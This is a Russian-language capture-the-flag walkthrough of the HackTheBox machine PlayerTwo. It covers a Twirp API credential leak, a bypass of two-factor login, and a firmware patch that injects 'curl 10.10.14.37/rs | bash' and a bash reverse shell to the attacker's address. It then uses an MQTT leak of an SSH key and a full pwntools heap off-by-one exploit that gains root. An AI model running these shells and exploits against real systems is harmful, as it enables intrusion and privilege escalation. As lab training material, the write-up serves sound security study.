HackTheBox. Прохождение PlayerTwo. Twirp, 2FA bypass, Off-By-One атака

xcl8lej07_u4j1dwdfymsdpyzt4.png


Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье работаем с API twirp, обходим двух факторную аутентификацию, модернизируем прошивку и эксплуатируем уязвимость в кучу через атаку null byte poisoning (P.S. про Heap еще можно предварительно почитать здесь).

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.170, который я добавляю в /etc/hosts.

10.10.10.170    playertwo.htb


Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.170 --rate=500


rpqvl9vwfplhzacqx57devvp1wq.png

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A playertwo.htb -p22,80,8545


hqytqmhkozrut51gqombiw-1fla.png

Таким образом, мы имеем SSH и Apache на стандартных портах, и видим сообщение twirp_invalid_route от службы, которая использует 8545 порт. Как обычно в таких случаях, заходим на веб.

d3tmq8vbq_plcqj_gbkpsr6dnmq.png

Получаем ошибку и контакт, к которому следует обратиться. Давайте добавим данное доменное имя в файл /etc/hosts и повторно зайдем на сайт.

10.10.10.170 player2.htb

ds0qz1rxdztcm88c-3q_zd61glo.png

И находим ссылку на еще один сайт, а также форму отправки сообщений ниже. Давайте добавим еще одно доменное имя в /etc/hosts и обратимся по данному адресу.

10.10.10.170 product.player2.htb

clfbmle-hzkfdclflbrcowkq8ii.png

Попробовав различные базовые техники обхода аутентификации ничего не находим, давайте сканировать директории. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u player2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


g-t5gtddkvtteehyptvi4jwdnoe.png

gobuster dir -t 128 -u product.player2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


my3lav3lfddojtsebv-gegeuf14.png

Так conn.php ничего не вернет, скорее всего нужен какой-то параметр. Как правило в директории proto должны находится .proto файлы (можно узнать даже загуглив). Давайте поищем их.

gobuster dir -t 128 -u player2.htb/proto -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x proto


qquqcjt3knjapgmhd8pxlbtbug0.png

И находим один файл.

b8usrmo4nczrbre0a33b7zzgbee.png

Twirp


Таким образом, используется twirp, информацию о котором можно получить на github. В документации находим информацию о путях в twirp и о том, как запрашивать информацию.

b_sav9bgsnubhoiyete2jtu0qmc.png

Как следует из файла конфигурации и документации, в нашем случае обращаться мы должны по следующему пути:

/twirp/twirp.player2.auth.Auth/GenCreds


Давайте используем curl, как сказано в документации.

curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}' ; echo


uttgqeqtwbnpt0tse0r9nf5yu3m.png

При этом выполнив команду второй раз, получим другие учетные данные.

1g47grf-bhlhtnkadra-3knzhny.png

Для эксперимента я выполнил запрос 10 раз и получил 4 разные пары учетных данных.

for ((i=0; i<10;i++)) do curl --request "POST" --location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}' ; echo ; done


cq7penkaseed06hkocpvy3pledo.png

Таким образом, мы получили учетный данные, при этом существует 4 разных логина и 4 разных пароля, которые в выводе представлены в непонятном перемешанном порядке. Вернемся к авторизации, у нас есть логины и пароли, придется их перебрать. Я буду использовать Burp. Перехватим запрос, отправим в Intruder и настроим соответствующим образом.

p2z4pqm-oramaummbvbroxa8che.png

Запускаем атаку, сортируем вывод по длине, и получаем валидные пары учетных данных.

9tcxed91lmyvqq_a-kegcu5aq2e.png

Но при попытке авторизоваться, у нас спрашивают OTP (одноразовый пароль)!

wipisz3db62iegcb39no1fxpy2c.png

Обход 2FA


То есть нам необходимо обойти двух-факторную аутентификацию. В данном случае используется TOTP (Time-based One-time Password).

6d96cms2sdem2kv5bmr1mt4cjvc.png

На данном этапе я застрял и вернулся посмотреть свой to-do лист, чтобы посмотреть, какие варианты я не проверил, и в графе сканирования директорий была не отмечена директория api. Сканирование ничего не дало. Немного погуглив, было найдено несколько примеров работы с /api/totp. Давайте попробуем.

p1pkv4xgyicilc77nni2w3vg8fg.png

И находим ниточку, за которую можно уцепиться. Давайте выполним тот же запрос в curl.

curl http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" ; echo


knujfj2r9tfypquhihxykhsh9uk.png

В ошибке сообщается, что не метод GET не поддерживается, давайте выполним запрос методом POST.

curl -X POST http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" --data ; echo


xuipg33ixhpioysccw03gyrbv_4.png

И ошибка меняется. Теперь у нас не валидный action. Давайте отправим запрос с параметром action.

curl -X POST http://product.player2.htb/api/totp --cookie "PHPSESSID=42u8a0kro2kgp4epl6fgj06boe" --header "Content-Type:application/json" --data '{"action": 0}'; echo


ma8yxzlpqoe8yx4xm17bwsdb8cc.png

И получаем код. И это есть OTP. Вводим его и заходим на сайт.

wpruuzt8f0fctze1z6opnbi_bhi.png

Просматривая сайт, находим ссылку на документацию.

vxoljdtp6d_ndzik6c4krohazhi.png

Откроем и ознакомимся с ней.

4iq6mph_c0m0if4cg0wcnj8xouc.png

Речь идет о прошивке, причем есть ссылка на скачивание и проверку работоспособности.

Entry point


Разархивируем файл прошивки и первым делом посмотрим строки.

strings Protobs.bin


h5umheov57hhmslicumsc-_lcao.png

Находим строки с stty, и можно сделать предположение, что программы выполняет эту команду. Можно заменить эту строку на шелл. Давайте найдем местоположение этой строки в файле (-t) в десятичном виде (d).

strings -t d Protobs.bin | grep stty


xcrentclbnyzybhpzx559phtef4.png

Создадим файл с командой, которая выполнится на сервере, это будет бэкконнет шелл.

bash -i >& /dev/tcp/10.10.14.37/4321 0>&1


Сделаем так, чтобы при тесте прошивки сервер получал данную команду и передавал ее в bash.

printf "curl 10.10.14.37/rs | bash\x00" > new_cmd


Теперь заменим команду из прошивки на новую команду.

dd if=new_cmd of=Protobs.bin obs=1 seek=8420 conv=notrunc


sh6gahpomswfxcgiebxpnyhyq1k.png

Снова проверим строки в файле.

k8jtrmbok4ipcqmk1_qmd04xct8.png

Отлично. Запустим локальный веб сервер, упакуем прошивку обратно и загрузим файл на сервер.

cptkr1vglda08wwsr27oze5az4s.png

И увидим подключение.

xftr-mzocs0o7wr1d6fw87atdco.png

USER


Загружаем на хост LinPEAS и проводим перечисление системы. Для себя отмечаем пользователей, которые есть в системе.

5q3pmd1vsqeq36iomcbr8lpezie.png

Так же отмечаем для себя пользователя, которого необходимо получить.

tsqeaq-r6jyh_ctvwif4kyjr8b8.png

И из следующей информации отмечаем для себя службу mosquitto.

eqyiv0oqxal-hiij6pbfgnzmhwq.png

MQTT — это простой и легкий протокол обмена сообщениями, разработанный для устройств с ограниченными возможностями и сетей с низкой пропускной способностью, высокой задержкой. Принципы проектирования заключаются в том, чтобы минимизировать пропускную способность сети и требования к ресурсам устройства, одновременно пытаясь обеспечить надежность и некоторую степень гарантии доставки сообщения.

Как следует отсюда, аутентификация является необязательной, и даже если аутентификация выполняется, шифрование по умолчанию не используется. То есть выполним MITM атаку, мы можем получить учетные данные в открытом виде. Так же приводится скрипт для подключения и пример работы.

frwe0yi1gbbbqkkpuxmeovp-uuq.png

Но на хосте скорее всего не установлены необходимые модули python. Поэтому как работать с MQTT можно посмотреть здесь.

Совместив два источника запросим сообщения по теме »$SYS/#»

mosquitto_sub -h localhost -p 1883 -t '$SYS/#'


И немного подождав, увидим передаваемый SSH ключ.

eg8iktu0usfv4dvsvrc8lsyawpg.png

Сохраняем себе ключ и подключаемся с ним (мы же знаем пользователя).

dlle_bwruw5tiekqwun4_pv_co8.png

ROOT


И в домашней директории пользователя находим документ.

jhbgepwjpkf103zopualmjtn8_k.png

Скачиваем, изучаем. Упоминается приложение Protobs. Давайте поищем его в системе.

d6ihhftup4f8dmosiykowuzhozm.png

y3zpjzaistva6kznc7g1d9azhwm.png

Таким образом, для приложения выставлен suid бит, в это значит, что оно работает от имени root. Скачиваем на локальную машину приложение и библиотеки. Проверим имеющуюся защиту.

t8in-5ni20j1zan6swfn-wctc-g.png

Таким образом, все имеется, кроме PIE. При этом указан RUNPATH, поэтому создадим на локальной машине данную директорию и переместим в нее файлы. Откроем программу в дизассемблере с декомпилятором (я использую IDA Pro), декомпилируем и перейдем в функцию main.

vtmxus6v6drv8nbgs8zs7rdqsko.png

При запуске программы мы получим два сообщения, после чего будет выполнена функция и мы попадаем в бесконечный цикл. Данная фунция нужна для вывода баннера.

bhbswgwga0hyphiub1dq0ezkhpc.png

Давайте посмотрим функцию в цикле.

mrnlikfuj7e2mj-n9id5dkvyn1q.png

Таким образом мы получаем приглашение для ввода и в зависимости от нашего ввода будет выполнена одна из 6 функций. Отметим, что присутствует канарейка (переменная v2). Давайте посмотрим на все функции.

sq9pb9ai2078rttcjmhklzyhwsy.png

Начинаем с первой и понимаем, что это функция help, которая выводит справку.

wslzjy8s3uene9pa8m3wxldhncm.png

Сразу отмечаем, что последняя служит для завершения команды.

aksbrojm_oeyhwfo3nqbplzjjbo.png

При выборе »1» попадаем в функцию, которая выводит конфигурации.

prduurysigxkacqv3shc98c4ibi.png

А вот при 2, мы можем их создавать. С данным кодом придется поработать.

f_am11mjc4unxe4xfrgvgo7zslq.png

В строках 13–15: функция sub_400C8B, на которую мы сразу же попадаем проверяет число конфигураций, и если свободного места для создания новой нет (всего можно создать 14), то функция sub_400C3E выводит ошибку.

В строках 16–18: происходит выделение памяти для новой конфигурации.

В строках 19–30 происходит заполнение полей, строковыми параметрами, которые переводятся в длинное целое числовое значение (кроме имени). Далее происходит заполнение Description. Если мы введем 3, то у нас запросят индекс конфигурации, и отобразят ее.

yewilvauxy6ecvdmlyuzsepffdi.png

И при 4 — удаляют указанную конфигурацию.

51q0lderi0r-z600egj_vjuqeeo.png

Стоит обратить внимание на использование функций malloc и free для выделения и освобождения памяти в программе. Это наталкивает на мысль о UAF. Для начала создадим шаблон эксплоита. Мы будем подключаться по SSH и выполнять программу используя pwntools.

#!/usr/bin/python3
from pwn import *

context.log_level = 'error'
binary = ELF('./Protobs')
libc = ELF('./libc.so.6')
remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='./player2.key')
remoteShell.set_working_directory(b'/opt/Configuration_Utility')
p = remoteShell.process(b'./Protobs')
context.log_level = 'info'
log.success("Start exploit")

p.interactive()


hyfmzrgwlsvf3wmebmj1-hhippw.png

Отлично. Теперь давайте реализуем основные функции, которые создают (выделяют память), читают (обращаются к памяти) и и удаляет (освобождает память) конфигурации.

def alloc(size, desc, game=b'', contrast=b'0',gamma=b'0',resX=b'0',resY=b'0',controller=b'0'):
    p.sendlineafter(b"protobs@player2:~$ ", b"2")
    p.sendlineafter(b"]: ", game, timeout=1)
    p.sendlineafter(b"]: ", contrast, timeout=1)
    p.sendlineafter(b"]: ", gamma, timeout=1)
    p.sendlineafter(b"]: ", resX, timeout=1)
    p.sendlineafter(b"]: ", resY, timeout=1)
    p.sendlineafter(b"]: ", controller, timeout=1)
    p.sendlineafter(b"]: ", str(size).encode(), timeout=1)
    if size:
        p.sendlineafter(b"]: ", desc, timeout=1)

def free(index):
    p.sendlineafter(b"protobs@player2:~$ ", b"4")
    p.sendlineafter(b"]: ", str(index).encode(), timeout=1)

def show(index):
    p.sendlineafter(b"protobs@player2:~$ ", b"3")
p.sendlineafter(b"]: ", str(index).encode(), timeout=1)


Чтобы было возможно отладить программу, необходимо немного пропатчить бинарный файл, для использования нужной библиотеки.

b5qgtly2gr6zw1uksb8ptwgffzm.png

patchelf Protobs --set-interpreter /lib64/ld-linux-x86-64.so.2
patchelf Protobs --set-rpath /opt/Configuration_Utility/:/opt/Configuration_Utility/:libc.so.6


ygvuqsx6527eddwogk4rbhvj8qy.png

Теперь разберемся с UAF.

Память в куче


Сперва стоит разобраться как устроена память, как она выделяется и освобождается. Структура, реализованная в программе, имеет следующий вид (в комментариях указаны размер памяти для каждой переменной):

struct conf{
	char Game[20];				// size 20
	unsigned int Contrast;		// size 4
	unsigned int Gamma;			// size 4
	unsigned int X_Axis;			// size 4
	unsigned int Y_Axis;			// size 4
	unsigned int Controller;		// size 4
	unsigned int Size;			// size 4
	char *Description;			// size 8
}


Почему запрашивается для резервирования 56 байт, если в самой структуре используется 52? Все дело в выравнивании памяти (это я описывал тут). Но это еще не все, кроме того, что нам реально нужно 52 байта, а мы должны выделить 56, функция malloc зарезервирует 64 байта!

Так как выделение памяти будет происходить из неразделенного пространства кучи, то это будет сделано поблочно. Ниже приведены два блока памяти: выделенные и свободный.

svpwjkk_l9ngng9ebkhka4oj0ku.png

Таким образом, сначала размер блока, и флаг U — принимающий значение 1, если блок занят, и 0 — если свободен и доступен для выделения. Далее первые 8 байт свободного блока занимает указатель FP на адрес следующего такого же свободного блока, и вторые 8 байт заняты указателем на предыдущий подобный свободный блок. Вот отсюда и получается 56 + 8 = 64 байта для блока.

Вернемся к функции создания структуры. Если size не равен 0, то снова происходит резервирование памяти функцией malloc.

wbvubpdtarnzi9gzhmf8muwe99c.png

Таким образом, вслед за нашей структурой, будет расположена переменная desc. И данное высказывание подтверждается на практике — посмотрим кучу при отладке (я использую IDA).

lwfadxj0ytliqcngnvu49no7kfu.png

Структура загружена по адресу 0×12a72a0, переменная size по адресу 0×12a72c8, указатель на desc — 0×12a72d0 и сама переменная desc по адресу 0×12a72e0.

qxpj9pljza_ksaaxli2omd4fv5k.png

Чтобы было удобнее работать, выделим данную структуру и выбираем «Create struct from selection».

ywttq90vssc24tp5tdlttlpzxru.png

И теперь данные в куче выглядят куда приятнее.

drdtekjgcxcedbrohwxopbcf5qy.png

Куда интереснее работает освобождение памяти. Сначала удаляется desc, а потом сама структура.

34bbzmsmcerk84czkydxbd2ti4c.png

Дело в том, что при освобождении памяти функция free () запишет вместо данных, расположенных по данному адресу, адрес следующего доступного чанка памяти и предыдущего. Проверим на примере.

6irtra2cih5lxldau_yfnugiwz8.png

Удаление desc: так как рядом нет доступного чанка, то вместо строки desc (по адресу 0×12a72e0) записаны 0 и 0×12a7010. Удаление экземпляра структуры: по адресу структуры (0×12a72a0) записаны адрес доступного чанка 0×12a72e0 (который только что освободила строка desc) и 0×12a7010.

et-6mo5rihvvlskjndvduhr6gkm.png

Стоит отметить, что при повторном выделении памяти, будет выделен недавно освободившийся чанк, если он удовлетворяет размеру резервируемой памяти. Разберем почему так.

Здесь уже упоминалось про чанки, но стоит добавить, что их бывает три вида: fast, small и large (разница в объеме памяти). При освобождении, данные чанки будут вставлены в список. Но для чанков разного размера предназначены разные списки, которые могут быть как двусвязными так и линейными. Различают fast, small, large и unsorted списки. Указатели HEAD и TAIL для данных списков хранятся в структуре данных main_arena в libc. При этом есть отличие между fast (mfastbinptr) и остальными списками (small, large и unsorted — mchunkptr).

typedef struct malloc_chunk *mfastbinptr;
mfastbinptr fastbinsY[];

typedef struct malloc_chunk* mchunkptr;
mchunkptr bins[];


Таким образом, libc отслеживает данные указатели, путем размещения их в определенном массиве, в зависимости от размера. Но так как каждая запись в массиве представляет собой список, то первая запись в массиве будет указывать на свободный блок размером 16 байт, вторая — 24 и т.д. Ниже представлены этапы выделения и освобождения памяти для bins и fastbins.

46bnkh1lacsslgn8xux5bmbzhem.png

При выделении памяти, мы будем получать чанк с конца списка.

1mgrypwbci1niewax65eka2bxze.png

Но для fastbins немного по-другому. Там отсутствуют указатели BK, и списки являются односвязными.

6qs87rdi4tj1tldnh2uhjkb5_2k.png

И при выделении памяти мы получим чанк из голову списка.

5oyv2o02juvgy-qk2tslbtprlqc.png

Heap leak


Первым делом найдем утечку кучи. Это очень легко сделать, если визуализировать кучу. Учитывая все, что было сказано про чанки выше, давайте создадим три экземпляра структуры Conf, тогда при запросе размера desc, укажем такой же, как и у Conf — 48 (+8 для выранивания и +8 для заголовка чанка, итого 64). После создания, очистим память в порядке исходном порядке (порядок заполнения будет обратен порядку очищения памяти, поэтому я пометил очередь освобождения памяти). На рисунке приведено состояние кучи после создания (слева) и после удаления (справа) трех конфигураций.

ut8yxxtfptefekng2j8mkas0p6i.png

Теперь, если создать новую конфигурацию, то она займет место последней-удаленной (2) конфигурации. Но исходя из кода, если мы укажем size равным 0, то заполнения desc не произойдет, при этом у нас останется 5 свободных чанков, а desс созданной конфигурации будет содержать адрес Conf1. Таким образом, если мы отобразим созданную конфигурацию, мы отобразим адрес Conf1.

for _ in range(3):
    alloc(0x30, b'A' * 0x20)
for i in range(3):
    free(i)
alloc(0, b''), show(0)
p.recvuntil('[ Description         ]: ')
leak_heap = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Heap leak address: {hex(leak_heap)}")


oiuezrpdlwtt9phhugne0es3hdy.png

Теперь нужно получить базовый адрес libc.

LIBC leak


Но в случае удаления единственного (причем первого) чанка в списке, его указатели на следующие и предыдущий чанки будут указывать на адрес в libc (как следует из программ выше).

Давайте выделим большой объем памяти (в переменной desc, чтобы мы смогли к нему обратиться), тогда после очистки такого чанка, его FD и BK будет хранить не адрес прошлого освобожденного чанка, а, адрес в libc. Повторяя прошлый трюк c освобождением и записью «нулевой» конфигурации, найдем утечку libc. Выделим 0×500 и 0×200 байт под запись в конфигурациях, а затем удалим их в обратном порядке.

jkj3s_oasuh9ap_f3uklnyyzmpg.png

После удаления Conf2 произойдет такое распределение: так как desc2 большего размера, но и список того же массива списков, то free запишет не адрес предыдущего освобожденного чанка (desc1 (3)), а 0. В сам Conf2 будет записан адрес предыдущего освобожденного чанка desc1 (3).

После удаления Conf1, по причине указанной выше, в desc1 будет находится адрес из libc. А место освобожденного Conf1 займет адрес предыдущего освобожденного чанка.

skmgaqtz2jrfjeq5obicmi3uwlm.png

Создадим новую «нулевую» конфигурацию, которая будет создана на месте (5) и прочитаем ее, чтобы получить адрес из libc. Данный адрес соответствует смещению 0×70 от __malloc_hook (можно посмотреть в отладчике). Поэтому для нахождения базы libc, из найденного адреса необходимо извлечь (*__malloc_hook + 0×70).

alloc(0x500, b'A' * 0x20), alloc(0x200, b'A' * 0x20)
free(2), free(1)
alloc(0, b''), show(1)
p.recvuntil('[ Description         ]: ')
leak_libc = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak_libc - (libc.symbols['__malloc_hook'] + 0x70)
log.success(f"LIBC base address: {hex(libc.address)}")


_msvf-34mvg5o5jdgzoqbtjtr4u.png

Похоже на правду.

Off-By-One


У нас много выделенной и освобожденной памяти, причем неравномерно. Давайте займем ее всю: чанки Conf мы займем структурами, а чанки desc — записями соответствующего размера, причем в чанке 0×500 поместится 2 таких записи. Таким образом создадим 4 структуры с размером записи 0×200. Есть не распределенные 0xf байт, в ранее выделенных 0×500 байт. Займем их нулевыми структурами. И после максимального резервирования всей памяти, очистим ее.

cyk62zz92kyd2mxzrrrmre2jl4y.png

for _ in range(4):
    alloc(0x200, b'A' * 0x20)
for _ in range(3):
    alloc(0, b'')
for i in range(2,9):
    free(i) 
log.info("Memory cleared")


cbejblmy5yxymg3lkkd9dtudi7m.png

Переходим к следующему этапу: разберем технику Null Byte Poisoning. Если в куче есть свободный чанк, и следующий чанк сразу после него также свободен, то эти два свободных блока могут быть объединены в больший свободный блок. Мы разобрали, как различаются выделенный и свободный чанк памяти, — так вот данный метод заключается в том, чтобы перезаписать соответствующий флаг занятого чанка, что позволит объединить его с предыдущим свободным чанком!

Для начала определимся с адресом, который мы собираемся контролировать в будущем. В данный момент, последний подконтрольный чанк (1, 4) расположен по адресу 0×18a0 (ориентируемся по своему представлению кучи) и занимает 0×200 байт, то есть следующий чанк будет расположен по адресу 0×1ab0. Вычислим нужный нам адрес из расчета 0×1ab0 + память, выделенная для чанка, который будет относиться к списку ранее не используемого bin«a (к примеру 0×50) + 0×70 + 0×10. Откуда берется 0×70 станет понятнее далее, а 0×10 — как смещения от адреса чанка (как можно заметить в отладчике адрес кучи указан со смещением 0×10 — указатель FD). Таким образом получим адрес 0×1b90. Но мы не знаем конкретного адреса в работающей программе, но зато можно рассчитать его как относительный, так как мы знаем адрес утечки кучи (для нашей модели — это 0×1140). Так мы будем работать с адресом leak_heap+0xa50.

Для выполнения рассматриваемой атаки, нам нужно подделать все атрибуты реальных чанков, то есть самостоятельно разметить память. Адрес, который мы только что рассчитали — это есть указатели FD и BK!

Теперь нужно определиться с размером нового фиктивного чанка. Мы оперировали двумя размера чанков больших чанков: 0×200 и 0×500, тогда тогда исключая prev_size получим 0×1f8 (0×200–0×8) и 0×4f8 (0×500–0×8), при этом, мы собираемся «играть» с меньшим блоком, поэтому извлечем еще 0×70 (уже встречалось): 0×1f8 — 0×70 = 0×198. Таким образом, размер фиктивного чанка 0×198 + 0×35 = 0×1d0. Ниже привожу модель.

izita2fnac0ydwbft1jtew-nlmo.png

Выполнить запись по адресу 0×1ae8 легко, а вот записать данный ранее немного сложнее, так как байт \x00 будет восприниматься как символ окончания строки, но мы можем это использовать. Так если мы очистим память и создадим такой же экземпляр структуры, с таким же размером записи, но запишем 0×37 символов «А», то на месте 0×38 будет выставлен 0, как символ окончания строки.

ke0forpkbk8vlquv0b1aacu48ra.png

Если мы снова воспроизведем те же действия, но запишем 0×36 символов, то 0 будет выставлен на 0×37 месте.

vbr2dkkbxkdcjkwfvdu-byi3osw.png

Давайте подобным образом освободим 8 байт для адреса и повторим запись.

gwgk5nqw7qlgzyneivcgruwsepu.png

И также поступим для записи размера фиктивного чанка.

obh5e3gtko6rxtxnxrkguc8upyc.png

Ниже привожу реализацию данных действий.

alloc(0x50, b'A'*0x38 + p64(leak_heap+0xa50)), free(2)
for i in range(1, 9):
    alloc(0x50, b'A'*(0x38-i))
    free(2)
alloc(0x50, b'A'*0x30 + p64(leak_heap+0xa50)), free(2)
for i in range(1, 9):
    alloc(0x50, b'A'*(0x30-i))
    free(2)
alloc(0x50, b'A'*0x28 + p64(0x1d0))
log.info("Dummy chunk created")


um97vhjqh1djdirt-3tnaqogdfq.png

Таким образом, для нам нужно еще 0×198 байт для полного фиктивного чанка. Создадим три структуры, а потом выполним атаку Off-By-One. У нас есть чанк, размером 0×198 байт, и если длина записи будет больше, то копирование не произойдет. Но на самом деле, функция strlen () при подсчете длины строки не учитывает символ \x00, а функция strcpy () произведет копирование вместе с null-байтом. Таким образом, очистив 0×198 байт и записав 0×198 байт, на самом деле мы запишем еще и 0×199-й символ \x00, изменив служебный байт следующего чанка, отвечающий за распознавание блока, как занятого.

hfdy4jbkpjukkau5rjyxibsezl8.png

0 перезапишет 1, то есть фактически «освободит» следующий чанк (пометит как свободный).

bshlg47klat5pzfxjv6z7r-xjzi.png

Но есть еще кое-что. Давайте взглянем на код unlink ().

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
      malloc_printerr ("corrupted size vs. prev_size");			      
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr ("corrupted double-linked list");


После фиктивного освобождения памяти, поле, предшествующее размеру следующего чанка должно содержать размер предыдущего чанка, если он свободен. Но в нашем фиктивном чанке этого не проиходит, в этом случае unlink обнаружит повреждение памяти и завершит работу процесса. Таким образом, нам нужно произвести запись выделенного размера в конец 3 записи. После чего удалить очистить 3 и 4 структуры, что образует новый поддельный чанк!

ja6c5fsrd2mikbf3km4_zowdpxw.png

Ниже представлена реализация.

alloc(0x198, b'A' * 0x20), alloc(0x4f0, b'A' * 0x20), alloc(0x210, b'A' * 0x20)
free(3), alloc(0x198, b'A' * 0x198), free(3)
for i in range(1, 9):
    alloc(0x198, b'A'*(0x198 -i))
    free(3)
alloc(0x198, b'A'*0x190 + p64(0x1d0))
free(3), free(4)
log.success("Off-By-One attack complited")


fqa_ncyfiegy69kb2aw8rzrirxi.png

Ошибок не произошло, идем далее.

Heap exploatation


Так у нас осталось 0×30 не размеченных байт после структуры Conf2. Давайте займем их, создав запись размером 0×20 байт. Теперь при выделении памяти, будут заполнять чанки в фиктивном блоке, размером 0×1d0. Давайте выделим три блока по 0×60 байт.

c-wvh93zkkbbctfcnvf9ldkfibe.png

И очистим последние 3 созданные блока.

alloc(0x20, b'A'*0x10), alloc(0x20, b'A'*0x10)
for _ in range(3):
    alloc(0x60,  b'A'*0x30)
for i in range(6,9):
    free(i)
log.info("Realloc memory")


Но выделив 0×198 мы все равно сможем обратиться к чанку по адресу 0×1b10, так как указатель на него будет в соответствующем списке, давайте запишем в бывший чанк desc8 адрес __free_hook. Для этого его следует записать по смещению 0×60+0×10+0×60+0×10.

ybsnlnqagr5lj-llfelodr4etve.png

Но чанк desc8 будет фигурировать еще и вписке с чанками, размером 0×60, для этого извлечем данный чанк из этого списка, создав пустую запись. И затем создадим запись, содержащую адрес функции system.

wqiyahypm722bxs5fwcb79vwst0.png

И теперь создадим нулевую конфигурацию, содержащую в качестве строки game, строку-параметр функции system — /bin/sh. И при удалении данной конфигурации произойдет передача управления на адрес функции system с параметром /bin/sh!

alloc(0x198, b'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook']))
alloc(0x60, '')
alloc(0x60, p64(libc.symbols['system']))
alloc(0, '', game=b'/bin/sh\x00')
free(9)
p.recv(), p.sendline('id')


Полный код привожу ниже.

vwblmdptleiwiwtkvwrx7u4pxr8.png

aturt3xghkrutsmxbw4o5sbvgem.png

kmgvdywmwdh-8ijkafjazsxvbgk.png

И у нас есть root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru